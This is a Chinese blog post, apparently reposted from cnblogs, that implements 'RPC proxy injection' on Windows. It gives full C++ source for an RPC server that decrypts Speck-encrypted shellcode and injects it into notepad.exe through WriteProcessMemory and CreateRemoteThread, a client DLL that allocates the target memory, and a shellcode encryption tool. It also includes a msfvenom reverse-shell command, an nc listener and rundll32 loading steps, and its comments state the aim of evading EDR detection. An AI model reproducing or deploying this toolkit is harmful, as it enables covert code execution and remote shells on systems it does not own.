RPC 代理远程注入dll获得shell

news/2026/1/26 20:54:08/文章来源:https://www.cnblogs.com/PaperPlaneFly/p/19535539

RPC 代理远程注入dll获得shell

RPC 接口是什么?

RPC(Remote Procedure Call,远程过程调用)接口,本质是:

一组被暴露出来、允许“远程调用”的函数定义 + 通信协议 + 序列化规则

是 Windows 操作系统中用于不同进程(甚至不同机器)之间进行通信的标准机制。许多系统服务(Service)和后台进程都作为“RPC 服务器”运行,等待其他程序(“RPC 客户端”)发送请求来执行特定的任务。

今天在推特上刷到文章RPC 代理注入。欢迎阅读这篇新的 Medium 文章。在… | 作者:S12 - 0x12Dark Development | 2026 年 1 月 | Medium --- RPC Proxy Injection. Welcome to this new Medium post. In… | by S12 - 0x12Dark Development | Jan, 2026 | Medium:使得攻击者利用RPC机制将恶意代码(如 Shellcode 、DLL)强制加载到另一个合法进程的内存中并运行,以隐藏自身行踪或获取更高权限。

技术原理

作者 s12deff 之前的研究脉络(关于利用 RPC 进行进程间通信、自定义 DLL 加载等文章),这项技术的工作原理大致如下:

寻找 RPC 接口: 攻击者首先会在目标进程(通常是高权限的系统服务)中寻找一个开放的 RPC 接口。Windows 系统中有成千上万个 RPC 接口。

利用 RPC 作为载体 (Proxy): 传统的注入通常需要打开目标进程句柄(OpenProcess),写入内存(WriteProcessMemory),然后创建线程(CreateRemoteThread)。这种行为很容易被 EDR(端点检测与响应系统)拦截。 RPC Proxy Injection 则不同,它表现为一个合法的 RPC 客户端向 RPC 服务器发送请求。这个请求中可能包含了恶意的 Payload,或者是触发漏洞的参数。

触发执行: 攻击者调用 RPC 接口中的某个特定函数。这个函数在目标进程内部执行时,会被诱导去执行攻击者指定的代码,或者加载攻击者指定的 DLL。

  • 利用RPC 函数本身允许传递回调函数指针,或者通过利用 RPC 消息处理中的逻辑,将执行流重定向到恶意代码。因为代码执行是由合法的 RPC 服务进程发起的(代表客户端执行),所以看起来像是合法的业务操作。

复现流程

其核心思想是将敏感操作分散到两个不同的进程中,以打断 EDR(端点检测与响应系统)的攻击链检测:

  1. DLL (Client):负责“准备工作”(查找目标、分配内存)。它看起来像是一个正常的程序在申请资源,但它不写入任何恶意代码,也不执行
  2. EXE (Server):负责“脏活”(解密 Shellcode、写入内存、创建线程)。由于它通过 RPC 接收指令,EDR 很难将 DLL 的分配行为与 EXE 的写入/执行行为关联起来。

1.创建message idl并编译

message.idl

[uuid(87654321-1234-5678-1234-567812345678),version(1.0),pointer_default(unique)
]
interface MessageRPC
{void GetSize([in] handle_t IDL_handle,[out] hyper* size);void TriggerInjection([in] handle_t IDL_handle,[in] int pid,[in] hyper hProcess,[in] hyper allocMem,[out, string] unsigned char** response);
}

message.acf

[implicit_handle(handle_t hBinding)
]
interface MessageRPC
{
}

打开Visual Studio Developer Command Prompt,

midl /env x64 /app_config message.idl

得到

  • message.h (头文件)
  • message_c.c (客户端存根,给 DLL 用)
  • message_s.c (服务器存根,给 EXE 用)

2.编译客户端和服务器

RpcServer.cpp

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
#include "message.h"#pragma comment(lib, "Rpcrt4.lib")// Add evasion
// 1- Encrypted shellcode = DONE!
// 2- Decode at runtime = DONE!
// 3- Divide responsibility -> OpenProcess and VirtualAllocEx in the DLL. WriteProcessMemory and CreateRemoteThread in the RPC server = DONE!
// 4- Change to CustomWriteProcessMemory 
// 5- Alternative to CreateRemoteThread
// 6- Divide Shellcode responsibility -> DLL writes a part of shellcode + RPC server writes the restunsigned char buf[] = "\x76\x18\xfc\x42\x85\x55\xa1\x16\x49\x58\x7b\xa4\x8b\xd9\x03\xb0\x5f\x92\xa2\x78\xb3\x6d\x17\x84\xe5\x30\xb2\xea\x72\xae\x5a\x1e\x21\x66\x2b\xfc\xfc\x0b\xf1\xb7\xbc\x59\x82\x6e\x54\xae\x9c\xdf\x06\xf8\xec\xff\x29\xfe\x2d\xb9\xe6\x2d\xed\x96\x98\xeb\xc6\x25\x82\x75\x01\xe5\xd1\x50\x51\x64\x2f\x43\x53\xa8\x8c\xe5\x4d\x59\x71\xab\x6d\x63\x60\xda\x96\xb0\x1b\x45\x9e\xb0\xb5\xf9\xc2\xaf\x3b\x1d\x1e\x6c\xd6\x6a\x85\xfc\xcb\xad\xaa\x16\x28\xf3\x29\x1b\x82\xd5\x53\xd1\x13\xc2\xdb\xf3\xeb\x97\x9d\x7d\x80\xea\x5a\x6e\x22\x14\xac\xa1\x13\xcd\xab\x23\x60\x4e\x6a\xa6\x8d\xff\xd7\x5b\x02\x71\xf9\x06\xaf\xb7\xed\xc3\xa1\x79\x71\xc0\x39\xcd\x96\xed\x00\x09\x4c\xb3\xcf\x30\x00\xe8\x23\x7e\x22\x26\x82\x62\xfd\xae\x59\x20\x70\xe0\x47\x8d\xfb\x7b\xc2\x9e\x65\xd0\x52\x83\xf4\x82\xa8\xec\xa4\xc2\x0d\x97\x4d\xa5\xa6\xb7\x0d\x94\x36\xab\xb4\x1c\xea\xf4\xdd\x75\x41\xcf\xb1\xab\x6d\x98\xe2\x06\xa2\x1f\x99\xf1\x20\x4e\x35\x29\x94\xd8\xd4\x7f\x50\xf3\x04\x1f\x49\x36\xa6\x96\x5f\xab\x4d\x54\x02\xc4\x2d\x4c\x93\xae\x63\x9d\x84\x85\x63\xcf\xb8\x99\xfb\xb4\x28\x53\x64\x09\x11\x11\xe5\x3a\x5c\xc2\x35\xb9\xe6\xab\x44\x20\x63\x35\x90\x41\x73\x6b\x3f\x10\xd0\xe7\xf3\x0e\x92\x5b\xbc\x79\xd3\x02\xc9\xea\x74\x68\xcc\xd3\xb6\x58\x72\xac\x88\x15\x9d\xfc\x7c\x4a\x0d\xe7\xbe\x0f\xba\x12\x17\x87\xf2\xea\x3b\x08\x9c\x0e\x2f\x71\xdd\x66\x37\x33\x64\xe4\x54\x9c\x43\x23\x7c\x98\x49\x47\x91\x44\xe1\xbc\x2a\x8f\xda\xaf\xa3\xea\xbc\x4e\xd0\x82\x3f\x71\xa6\xa5\x62\xc0\x07\xbb\x82\x80\xb9\xef\x81\x42\x48\x54\x6d\x5c\x63\xc0\x5d\x08\x32\x58\x8c\x6c\x8f\x8b\x58\xb6\x7b\xb6\x71\xa7\x6b\x9f\x69\x25\x73\xec\xda\xa8\x93\xeb\xa8\xfe\x82\xdc\x4e\x34\x46\x93\x64\x71\x2e\x0d\xe7\x48\x8e\x9c\xeb\x21\xfd\x99\x36\xfb\x1b\x7e\xae\xab\x5a\x3c\xde\x2c\xfa\x06\xd1\xa0\x4d\x05\xca\x8f\xe8\x4f\xe2\xf4\xcd\x6a\xd1\x0a\x68\xb8\xae\x2d\xee\x7f\x37\x3e\xe4\x29\xb7\x18\x5f\x94\x93\x1e\x40\x32\xb4\x16\x96\xe2\xa2\x6a\xaf\x50\x62\x10\xf4\x4e\xca\xa6\xbe\xe8\x60\x35";
int bufLen = sizeof(buf) ;// ==================== GLOBAL STATE ====================
unsigned char* g_DecryptBuffer = NULL;
SIZE_T g_PaddedLen = 0;#define ROUNDS 45
#define BLOCK_BYTES 16uint64_t roundKeys[ROUNDS];// ==================== CRC32 ====================
uint32_t crc32Table[256];void generateCrc32Table() {for (uint32_t i = 0; i < 256; i++) {uint32_t c = i;for (int j = 0; j < 8; j++) {c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);}crc32Table[i] = c;}
}uint32_t crc32(const unsigned char* data, size_t length) {uint32_t crc = 0xFFFFFFFF;for (size_t i = 0; i < length; i++) {crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);}return crc ^ 0xFFFFFFFF;
}// ==================== SPECK ====================
void parseHexKey(const char* keyStr, uint64_t key[2]) {char buffer[17] = { 0 };strncpy(buffer, keyStr, 16);key[0] = strtoull(buffer, NULL, 16);strncpy(buffer, keyStr + 16, 16);key[1] = strtoull(buffer, NULL, 16);
}uint64_t rol(uint64_t x, int r) {return (x << r) | (x >> (64 - r));
}uint64_t ror(uint64_t x, int r) {return (x >> r) | (x << (64 - r));
}void speckKeySchedule(uint64_t key[2]) {roundKeys[0] = key[0];uint64_t b = key[1];for (int i = 0; i < ROUNDS - 1; i++) {b = (ror(b, 8) + roundKeys[i]) ^ i;roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;}
}void speckEncrypt(uint64_t* x, uint64_t* y) {for (int i = 0; i < ROUNDS; i++) {*x = (ror(*x, 8) + *y) ^ roundKeys[i];*y = rol(*y, 3) ^ *x;}
}void speckDecrypt(uint64_t* x, uint64_t* y) {for (int i = ROUNDS - 1; i >= 0; i--) {*y = ror(*y ^ *x, 3);*x = rol((*x ^ roundKeys[i]) - *y, 8);}
}// ==================== RPC FUNCTIONS ====================void GetSize(handle_t IDL_handle, hyper* size)
{printf("[SERVER] GetSize: Starting\n");if (size == NULL) {printf("[SERVER ERROR] GetSize: size is NULL\n");return;}const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";uint64_t key[2];parseHexKey(keyStr, key);speckKeySchedule(key);uint64_t* iv = (uint64_t*)buf;int totalLen = sizeof(buf) - 1;int payloadLen = totalLen - BLOCK_BYTES;int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);printf("[SERVER] GetSize: Calculated padded length = %d\n", paddedLen);if (g_DecryptBuffer) {printf("[SERVER] GetSize: Freeing previous buffer\n");free(g_DecryptBuffer);g_DecryptBuffer = NULL;}g_DecryptBuffer = (unsigned char*)malloc(paddedLen);if (!g_DecryptBuffer) {printf("[SERVER ERROR] GetSize: malloc failed\n");*size = 0;return;}printf("[SERVER] GetSize: Buffer allocated successfully\n");memcpy(g_DecryptBuffer, buf + BLOCK_BYTES, paddedLen);uint64_t prevDecrypt[2] = { iv[0], iv[1] };for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {uint64_t* block = (uint64_t*)(g_DecryptBuffer + i);uint64_t temp[2] = { block[0], block[1] };speckDecrypt(&block[0], &block[1]);block[0] ^= prevDecrypt[0];block[1] ^= prevDecrypt[1];prevDecrypt[0] = temp[0];prevDecrypt[1] = temp[1];}g_PaddedLen = paddedLen;*size = (hyper)paddedLen;printf("[SERVER SUCCESS] GetSize: Returning size = %lld\n", *size);
}void TriggerInjection(handle_t IDL_handle,int pid,hyper hProcess,hyper allocMem,unsigned char** response
)
{printf("[SERVER] TriggerInjection: Starting\n");printf("[SERVER] TriggerInjection: PID=%d hProcess=0x%llx allocMem=0x%llx\n",pid, hProcess, allocMem);if (!response) {printf("[SERVER ERROR] TriggerInjection: response is NULL\n");return;}if (!g_DecryptBuffer) {printf("[SERVER ERROR] TriggerInjection: Decryption buffer is NULL\n");const char* msg = "Decryption buffer not initialized";*response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);strcpy((char*)*response, msg);return;}HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!processHandle) {printf("[SERVER ERROR] TriggerInjection: OpenProcess failed (0x%08x)\n", GetLastError());const char* msg = "Failed to open target process";*response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);strcpy((char*)*response, msg);return;}printf("[SERVER] TriggerInjection: Process opened successfully\n");LPVOID remoteMem = (LPVOID)(ULONG_PTR)allocMem;if (!remoteMem) {printf("[SERVER ERROR] TriggerInjection: allocMem is NULL\n");CloseHandle(processHandle);return;}SIZE_T written;if (!WriteProcessMemory(processHandle, remoteMem, g_DecryptBuffer, g_PaddedLen, &written)) {printf("[SERVER ERROR] TriggerInjection: WriteProcessMemory failed (0x%08x)\n", GetLastError());CloseHandle(processHandle);return;}printf("[SERVER SUCCESS] TriggerInjection: Wrote %zu bytes\n", written);HANDLE hThread = CreateRemoteThread(processHandle,NULL,0,(LPTHREAD_START_ROUTINE)remoteMem,NULL,0,NULL);if (!hThread) {printf("[SERVER ERROR] TriggerInjection: CreateRemoteThread failed (0x%08x)\n", GetLastError());CloseHandle(processHandle);return;}printf("[SERVER SUCCESS] TriggerInjection: Remote thread created\n");CloseHandle(hThread);CloseHandle(processHandle);free(g_DecryptBuffer);g_DecryptBuffer = NULL;const char* reply = "Injection succeeded";*response = (unsigned char*)midl_user_allocate(strlen(reply) + 1);strcpy((char*)*response, reply);printf("[SERVER SUCCESS] TriggerInjection: Completed successfully\n");
}// ==================== RPC MEMORY ====================
void* __RPC_USER midl_user_allocate(size_t len) {return malloc(len);
}void __RPC_USER midl_user_free(void* ptr) {free(ptr);
}// ==================== MAIN ====================
// midl /env x64 /robust message.idl
// Include message_s.c and message.hint main()
{RPC_STATUS status;status = RpcServerUseProtseqEpA((RPC_CSTR)"ncalrpc",RPC_C_PROTSEQ_MAX_REQS_DEFAULT,(RPC_CSTR)"MessageRPC",NULL);if (status) return status;status = RpcServerRegisterIf(MessageRPC_v1_0_s_ifspec,NULL,NULL);if (status) return status;printf("[SERVER] RPC Server running...\n");status = RpcServerListen(1,RPC_C_LISTEN_MAX_CALLS_DEFAULT,FALSE);return status;
}

dllmain.cpp

// dllmain.cpp : RPC Client DLL that automatically connects to the local server
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <rpc.h>
#include <string>
#include <iostream>
#include <tlhelp32.h>
#include "message.h" // Generated by MIDL - includes the interface definitions
#pragma comment(lib, "Rpcrt4.lib")using namespace std;int getPIDbyProcName(const string& procName) {OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Starting process search");int pid = 0;HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnap == INVALID_HANDLE_VALUE) {OutputDebugStringW(L"[ERROR] getPIDbyProcName: CreateToolhelp32Snapshot failed");return 0;}OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Snapshot created successfully");PROCESSENTRY32W pe32;pe32.dwSize = sizeof(PROCESSENTRY32W);if (Process32FirstW(hSnap, &pe32) != FALSE) {wstring wideProcName(procName.begin(), procName.end());wchar_t msg[512];swprintf_s(msg, L"[DEBUG] getPIDbyProcName: Searching for process: %s", wideProcName.c_str());OutputDebugStringW(msg);do {if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {pid = pe32.th32ProcessID;swprintf_s(msg, L"[SUCCESS] getPIDbyProcName: Process found! PID=%d", pid);OutputDebugStringW(msg);break;}} while (Process32NextW(hSnap, &pe32) != FALSE);if (pid == 0) {OutputDebugStringW(L"[WARNING] getPIDbyProcName: Process not found");}}else {OutputDebugStringW(L"[ERROR] getPIDbyProcName: Process32FirstW failed");}CloseHandle(hSnap);return pid;
}// -----------------------------------------------------
// Memory management functions required by RPC
// -----------------------------------------------------
void* __RPC_USER midl_user_allocate(size_t size)
{wchar_t msg[256];swprintf_s(msg, L"[DEBUG] midl_user_allocate: Allocating %zu bytes", size);OutputDebugStringW(msg);return malloc(size);
}void __RPC_USER midl_user_free(void* ptr)
{OutputDebugStringW(L"[DEBUG] midl_user_free: Freeing memory");free(ptr);
}long long getPaddedLen() {OutputDebugStringW(L"[DEBUG] getPaddedLen: Starting");RPC_STATUS status;RPC_WSTR stringBinding = NULL;RPC_BINDING_HANDLE binding = NULL;// 1. Compose the binding string for local RPC (ncalrpc)OutputDebugStringW(L"[DEBUG] getPaddedLen: Composing binding string");status = RpcStringBindingComposeW(NULL,(RPC_WSTR)L"ncalrpc",NULL,(RPC_WSTR)L"MessageRPC",NULL,&stringBinding);if (status != RPC_S_OK){wchar_t msg[256];swprintf_s(msg, L"[ERROR] getPaddedLen: RpcStringBindingCompose failed: 0x%08x", status);OutputDebugStringW(msg);return 0;}OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding string composed");// 2. Create the actual binding handleOutputDebugStringW(L"[DEBUG] getPaddedLen: Creating binding handle");status = RpcBindingFromStringBindingW(stringBinding, &binding);RpcStringFreeW(&stringBinding);if (status != RPC_S_OK){wchar_t msg[256];swprintf_s(msg, L"[ERROR] getPaddedLen: RpcBindingFromStringBinding failed: 0x%08x", status);OutputDebugStringW(msg);return 0;}OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding handle created");RpcTryExcept{OutputDebugStringW(L"[DEBUG] getPaddedLen: Calling GetSize RPC");long long size = 0;GetSize(binding, &size);wchar_t msg[256];swprintf_s(msg, L"[SUCCESS] getPaddedLen: GetSize returned: %lld", size);OutputDebugStringW(msg);return size;}RpcExcept(EXCEPTION_EXECUTE_HANDLER){wchar_t msg[256];swprintf_s(msg, L"[ERROR] getPaddedLen: RPC Exception: 0x%08x", RpcExceptionCode());OutputDebugStringW(msg);}RpcEndExceptOutputDebugStringW(L"[DEBUG] getPaddedLen: Finishing with error");return 0;
}// -----------------------------------------------------
// Helper function to make the RPC call
// -----------------------------------------------------
void CallRpcServer(int pid, HANDLE hProcess, LPVOID allocMem)
{OutputDebugStringW(L"[DEBUG] CallRpcServer: Starting");wchar_t msg[256];swprintf_s(msg, L"[DEBUG] CallRpcServer: PID=%d, hProcess=0x%p, allocMem=0x%p", pid, hProcess, allocMem);OutputDebugStringW(msg);RPC_STATUS status;RPC_WSTR stringBinding = NULL;RPC_BINDING_HANDLE binding = NULL;OutputDebugStringW(L"[DEBUG] CallRpcServer: Composing binding string");status = RpcStringBindingComposeW(NULL,(RPC_WSTR)L"ncalrpc",NULL,(RPC_WSTR)L"MessageRPC",NULL,&stringBinding);if (status != RPC_S_OK){swprintf_s(msg, L"[ERROR] CallRpcServer: RpcStringBindingCompose failed: 0x%08x", status);OutputDebugStringW(msg);return;}OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding string composed");OutputDebugStringW(L"[DEBUG] CallRpcServer: Creating binding handle");status = RpcBindingFromStringBindingW(stringBinding, &binding);RpcStringFreeW(&stringBinding);if (status != RPC_S_OK){swprintf_s(msg, L"[ERROR] CallRpcServer: RpcBindingFromStringBinding failed: 0x%08x", status);OutputDebugStringW(msg);return;}OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding handle created");RpcTryExcept{OutputDebugStringW(L"[DEBUG] CallRpcServer: Calling TriggerInjection RPC");unsigned char* response = NULL;TriggerInjection(binding, pid, (hyper)hProcess, (hyper)allocMem, &response);OutputDebugStringW(L"[SUCCESS] CallRpcServer: TriggerInjection completed");if (response){wchar_t dbg[512];swprintf_s(dbg, L"[SUCCESS] CallRpcServer: Server response: %S", response);OutputDebugStringW(dbg);midl_user_free(response);}else {OutputDebugStringW(L"[WARNING] CallRpcServer: NULL response from server");}}RpcExcept(EXCEPTION_EXECUTE_HANDLER){swprintf_s(msg, L"[ERROR] CallRpcServer: RPC Exception: 0x%08x", RpcExceptionCode());OutputDebugStringW(msg);}RpcEndExceptOutputDebugStringW(L"[DEBUG] CallRpcServer: Finishing");
}// -----------------------------------------------------
// Entry point
// -----------------------------------------------------
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){int pid;HANDLE hProcess;SIZE_T size;LPVOID allocMem;long long paddedLenValue;case DLL_PROCESS_ATTACH:OutputDebugStringW(L"[INFO] ========================================");OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH started");OutputDebugStringW(L"[INFO] ========================================");OutputDebugStringW(L"[DEBUG] DllMain: Getting PID of notepad.exe");pid = getPIDbyProcName("notepad.exe");if (pid == 0) {OutputDebugStringW(L"[ERROR] DllMain: Failed to find notepad.exe");return FALSE;}wchar_t msg[256];swprintf_s(msg, L"[DEBUG] DllMain: Opening process PID=%d", pid);OutputDebugStringW(msg);hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProcess == NULL){DWORD err = GetLastError();swprintf_s(msg, L"[ERROR] DllMain: OpenProcess failed. Error: 0x%08x", err);OutputDebugStringW(msg);return FALSE;}swprintf_s(msg, L"[SUCCESS] DllMain: Process opened. Handle=0x%p", hProcess);OutputDebugStringW(msg);OutputDebugStringW(L"[DEBUG] DllMain: Getting padded size");paddedLenValue = getPaddedLen();if (paddedLenValue == 0) {OutputDebugStringW(L"[ERROR] DllMain: getPaddedLen returned 0");CloseHandle(hProcess);return FALSE;}size = (SIZE_T)paddedLenValue;swprintf_s(msg, L"[DEBUG] DllMain: Size to allocate: %zu bytes", size);OutputDebugStringW(msg);OutputDebugStringW(L"[DEBUG] DllMain: Allocating memory in remote process");allocMem = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (allocMem == NULL) {DWORD err = GetLastError();swprintf_s(msg, L"[ERROR] DllMain: VirtualAllocEx failed. Error: 0x%08x", err);OutputDebugStringW(msg);CloseHandle(hProcess);return FALSE;}swprintf_s(msg, L"[SUCCESS] DllMain: Memory allocated at: 0x%p", allocMem);OutputDebugStringW(msg);OutputDebugStringW(L"[DEBUG] DllMain: Calling CallRpcServer");CallRpcServer(pid, hProcess, allocMem);OutputDebugStringW(L"[INFO] ========================================");OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH completed");OutputDebugStringW(L"[INFO] ========================================");break;case DLL_THREAD_ATTACH:OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_ATTACH");break;case DLL_THREAD_DETACH:OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_DETACH");break;case DLL_PROCESS_DETACH:OutputDebugStringW(L"[DEBUG] DllMain: DLL_PROCESS_DETACH");break;}return TRUE;
}

思路:DLL 被加载─> 找 notepad.exe─> OpenProcess─> RPC 调用 GetSize()─> Server 解密 shellcode,返回大小─> DLL VirtualAllocEx()─> RPC 调用 TriggerInjection()─> WriteProcessMemory、CreateRemoteThread

3.生成shellcode

MSF 生成一个 raw 格式的 shellcode

msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin

然后加密,硬编码进server

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <vector>
#include <fstream>
#include <iomanip>
#include <random>// ==================== 配置区域 ====================
// 必须与 RpcServer.cpp 中的密钥保持一致
const char* KEY_STR = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";#define ROUNDS 45
#define BLOCK_BYTES 16// ==================== SPECK 核心算法 ====================
uint64_t roundKeys[ROUNDS];void parseHexKey(const char* keyStr, uint64_t key[2]) {char buffer[17] = { 0 };strncpy(buffer, keyStr, 16);key[0] = strtoull(buffer, NULL, 16);strncpy(buffer, keyStr + 16, 16);key[1] = strtoull(buffer, NULL, 16);
}uint64_t rol(uint64_t x, int r) { return (x << r) | (x >> (64 - r)); }
uint64_t ror(uint64_t x, int r) { return (x >> r) | (x << (64 - r)); }void speckKeySchedule(uint64_t key[2]) {roundKeys[0] = key[0];uint64_t b = key[1];for (int i = 0; i < ROUNDS - 1; i++) {b = (ror(b, 8) + roundKeys[i]) ^ i;roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;}
}void speckEncrypt(uint64_t* x, uint64_t* y) {for (int i = 0; i < ROUNDS; i++) {*x = (ror(*x, 8) + *y) ^ roundKeys[i];*y = rol(*y, 3) ^ *x;}
}void speckDecrypt(uint64_t* x, uint64_t* y) {for (int i = ROUNDS - 1; i >= 0; i--) {*y = ror(*y ^ *x, 3);*x = rol((*x ^ roundKeys[i]) - *y, 8);}
}// ==================== 辅助工具函数 ====================// 读取文件
std::vector<unsigned char> ReadFile(const std::string& filename) {std::ifstream file(filename, std::ios::binary);if (!file) return {};return std::vector<unsigned char>((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
}// 写入文件
void WriteFile(const std::string& filename, const std::vector<unsigned char>& data) {std::ofstream file(filename, std::ios::binary);file.write((const char*)data.data(), data.size());
}// 生成随机 IV (16字节)
void GenerateRandomIV(uint64_t iv[2]) {std::random_device rd;std::mt19937_64 gen(rd());iv[0] = gen();iv[1] = gen();
}// PKCS7 Padding (补齐数据到 16 的倍数)
std::vector<unsigned char> PKCS7Pad(const std::vector<unsigned char>& data) {std::vector<unsigned char> padded = data;int paddingSize = BLOCK_BYTES - (data.size() % BLOCK_BYTES);for (int i = 0; i < paddingSize; i++) {padded.push_back((unsigned char)paddingSize);}return padded;
}// PKCS7 Unpadding (移除补齐)
std::vector<unsigned char> PKCS7Unpad(const std::vector<unsigned char>& data) {if (data.empty()) return {};unsigned char paddingSize = data.back();if (paddingSize > BLOCK_BYTES || paddingSize == 0) return data; // 格式不对,直接返回原数据std::vector<unsigned char> unpadded = data;unpadded.resize(data.size() - paddingSize);return unpadded;
}// 输出为 C 语言数组格式
void PrintAsCArray(const std::vector<unsigned char>& data) {std::cout << "\n[+] Encrypted Shellcode (Copy this to RpcServer.cpp):\n";std::cout << "========================================================\n";std::cout << "unsigned char buf[] = \"";for (size_t i = 0; i < data.size(); i++) {std::cout << "\\x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];}std::cout << "\";\n";std::cout << "int bufLen = sizeof(buf) - 1;\n";std::cout << "========================================================\n";
}// ==================== 主功能逻辑 ====================// 加密流程
void DoEncryption() {std::string filename;std::cout << "Enter filename of RAW shellcode (e.g. payload.bin): ";std::cin >> filename;std::vector<unsigned char> raw = ReadFile(filename);if (raw.empty()) {std::cout << "[-] Error: File not found or empty.\n";return;}printf("[*] Read %zu bytes. Applying PKCS7 padding...\n", raw.size());std::vector<unsigned char> padded = PKCS7Pad(raw);// 1. 生成随机 IVuint64_t iv[2];GenerateRandomIV(iv);printf("[*] Generated IV: %016llx %016llx\n", iv[0], iv[1]);// 2. 准备缓冲区 (IV + Ciphertext)std::vector<unsigned char> result;result.resize(BLOCK_BYTES + padded.size());memcpy(result.data(), iv, BLOCK_BYTES); // 把 IV 放在头部// 3. CBC 加密uint64_t* plainBlocks = (uint64_t*)padded.data();uint64_t* cipherBlocks = (uint64_t*)(result.data() + BLOCK_BYTES);int blockCount = padded.size() / BLOCK_BYTES;uint64_t prevCipher[2] = { iv[0], iv[1] };for (int i = 0; i < blockCount; i++) {uint64_t currentBlock[2] = { plainBlocks[i * 2], plainBlocks[i * 2 + 1] };// XOR 前一块密文currentBlock[0] ^= prevCipher[0];currentBlock[1] ^= prevCipher[1];// 加密speckEncrypt(&currentBlock[0], &currentBlock[1]);// 保存并更新 prevCiphercipherBlocks[i * 2] = currentBlock[0];cipherBlocks[i * 2 + 1] = currentBlock[1];prevCipher[0] = currentBlock[0];prevCipher[1] = currentBlock[1];}// 4. 输出PrintAsCArray(result);WriteFile("encrypted.bin", result);std::cout << "[+] Saved binary output to 'encrypted.bin'\n";
}// 解密流程
void DoDecryption() {std::string filename;std::cout << "Enter filename of ENCRYPTED bin (e.g. encrypted.bin): ";std::cin >> filename;std::vector<unsigned char> fileData = ReadFile(filename);if (fileData.size() < 16) {std::cout << "[-] Error: File too small (must contain at least 16 bytes IV).\n";return;}// 1. 提取 IVuint64_t iv[2];memcpy(iv, fileData.data(), 16);printf("[*] Extracted IV: %016llx %016llx\n", iv[0], iv[1]);// 2. 准备解密std::vector<unsigned char> cipherData(fileData.begin() + 16, fileData.end());if (cipherData.size() % 16 != 0) {std::cout << "[-] Warning: Data length is not a multiple of 16. It might be corrupted.\n";}uint64_t* cipherBlocks = (uint64_t*)cipherData.data();int blockCount = cipherData.size() / BLOCK_BYTES;uint64_t prevCipher[2] = { iv[0], iv[1] };// 3. CBC 解密for (int i = 0; i < blockCount; i++) {uint64_t currentBlock[2] = { cipherBlocks[i * 2], cipherBlocks[i * 2 + 1] };uint64_t saveNextPrev[2] = { currentBlock[0], currentBlock[1] }; // 保存当前的密文作为下一轮的prev// 解密speckDecrypt(&currentBlock[0], &currentBlock[1]);// XOR 前一块密文currentBlock[0] ^= prevCipher[0];currentBlock[1] ^= prevCipher[1];// 写回cipherBlocks[i * 2] = currentBlock[0];cipherBlocks[i * 2 + 1] = currentBlock[1];// 更新 prevprevCipher[0] = saveNextPrev[0];prevCipher[1] = saveNextPrev[1];}// 4. 移除 Paddingstd::vector<unsigned char> finalData = PKCS7Unpad(cipherData);WriteFile("decrypted_shellcode.bin", finalData);std::cout << "[+] Decrypted " << finalData.size() << " bytes.\n";std::cout << "[+] Saved to 'decrypted_shellcode.bin'. Check with IDA or HxD.\n";
}int main() {// 初始化密钥uint64_t key[2];parseHexKey(KEY_STR, key);speckKeySchedule(key);std::cout << "=== SPECK64/128 Encryption Tool for RPC Injection ===\n";std::cout << "Key: " << KEY_STR << "\n\n";std::cout << "1. Encrypt (Raw Shellcode -> C++ Array)\n";std::cout << "2. Decrypt (Encrypted Bin -> Raw Shellcode)\n";std::cout << "Select mode (1/2): ";int choice;std::cin >> choice;if (choice == 1) {DoEncryption();}else if (choice == 2) {DoDecryption();}else {std::cout << "Invalid choice.\n";}system("pause");return 0;
}

4.连接shell

启动server

image

启动监听

nc  -lvvp 4444

测试机打开notepad,并主动加载dll

image

rundll32 "D:\Project\C++\RpcInjection\x64\Debug\RpcClient.dll",dllmain

注入成功

image

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1220771.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在Vue3中如何防止用户重复提交?

用户重复提交是一个常见问题。用户点击按钮后没有立即看到反馈&#xff0c;会再次点击。这导致重复请求&#xff0c;增加服务器压力&#xff0c;可能产生重复数据。 为什么需要防止重复提交 防止重复提交有多个好处。 提升用户体验。用户知道操作已经生效&#xff0c;不会困…

BUU-[BJDCTF2020]ZJCTF,不过如此

